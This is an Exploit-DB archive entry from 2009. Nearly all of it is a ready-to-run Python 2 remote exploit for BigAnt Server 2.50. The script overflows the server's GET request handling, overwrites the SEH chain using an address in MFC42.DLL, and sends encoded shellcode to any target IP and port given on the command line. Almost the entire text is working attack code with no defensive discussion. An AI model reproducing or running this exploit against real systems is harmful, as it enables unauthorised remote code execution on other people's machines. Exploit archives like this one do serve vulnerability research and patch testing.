BigAnt Server 2.50 - GET Universal Remote Buffer Overflow (SEH)

EDB-ID:

9690

Author:

hack4love

Type:

remote

Platform:

Windows

Published:

2009-09-15

#!/usr/bin/python
# by hack4love
# BigAnt Server version 2.50 SEH Overwrite Universal
# discovered by Blake http://www.milw0rm.com/exploits/9673
# Tested on Windows XP SP2
# gratez to Blake
# use >> bigant.py 192.168.1.12 6660


import socket, sys

if len(sys.argv)!= 3:
print "\n[*] Usage: %s <ip> <port>\n" % sys.argv[0]
sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2]) # port 6660 by default


shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41"
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x51\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x42\x58\x38\x42\x42\x50\x75\x4b\x59\x4b\x4c\x59"
"\x78\x52\x64\x63\x30\x65\x50\x53\x30\x4e\x6b\x57\x35\x77\x4c\x6c"
"\x4b\x61\x6c\x63\x35\x73\x48\x67\x71\x48\x6f\x6e\x6b\x50\x4f\x45"
"\x48\x6e\x6b\x53\x6f\x61\x30\x73\x31\x38\x6b\x53\x79\x4e\x6b\x66"
"\x54\x6e\x6b\x46\x61\x38\x6e\x30\x31\x6b\x70\x6e\x79\x6e\x4c\x4f"
"\x74\x79\x50\x74\x34\x44\x47\x4f\x31\x59\x5a\x76\x6d\x55\x51\x59"
"\x52\x68\x6b\x4a\x54\x35\x6b\x71\x44\x65\x74\x37\x74\x31\x65\x4a"
"\x45\x6e\x6b\x73\x6f\x44\x64\x55\x51\x4a\x4b\x50\x66\x4c\x4b\x44"
"\x4c\x30\x4b\x6e\x6b\x53\x6f\x37\x6c\x46\x61\x58\x6b\x6c\x4b\x77"
"\x6c\x6e\x6b\x46\x61\x5a\x4b\x4f\x79\x31\x4c\x47\x54\x37\x74\x6a"
"\x63\x74\x71\x59\x50\x70\x64\x6e\x6b\x51\x50\x50\x30\x6e\x65\x4b"
"\x70\x72\x58\x64\x4c\x6c\x4b\x71\x50\x56\x6c\x4e\x6b\x52\x50\x57"
"\x6c\x6c\x6d\x4c\x4b\x63\x58\x73\x38\x5a\x4b\x45\x59\x4e\x6b\x4f"
"\x70\x4c\x70\x35\x50\x43\x30\x63\x30\x4c\x4b\x53\x58\x77\x4c\x73"
"\x6f\x56\x51\x48\x76\x53\x50\x66\x36\x4f\x79\x39\x68\x6f\x73\x39"
"\x50\x61\x6b\x30\x50\x61\x78\x4a\x50\x6c\x4a\x73\x34\x33\x6f\x45"
"\x38\x6d\x48\x49\x6e\x6c\x4a\x46\x6e\x76\x37\x69\x6f\x48\x67\x45"
"\x33\x73\x51\x72\x4c\x71\x73\x63\x30\x41")


payload = "\x41" * 985
next_seh = "\xeb\x06\x90\x90"
seh = "\xc3\x20\xc4\x6b" #MFC42.DLL
nops = "\x90" * 10
sec = shellcode

print "[+] Connecting to %s on port %d" % (host,port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host,port))
except:
print "[x] Error establishing connection\n"
sys.exit(0)

print "[+] Sending payload"
s.send("GET " + payload + next_seh + seh + nops + sec + "\r\n\r\n")
s.close()

# milw0rm.com [2009-09-15]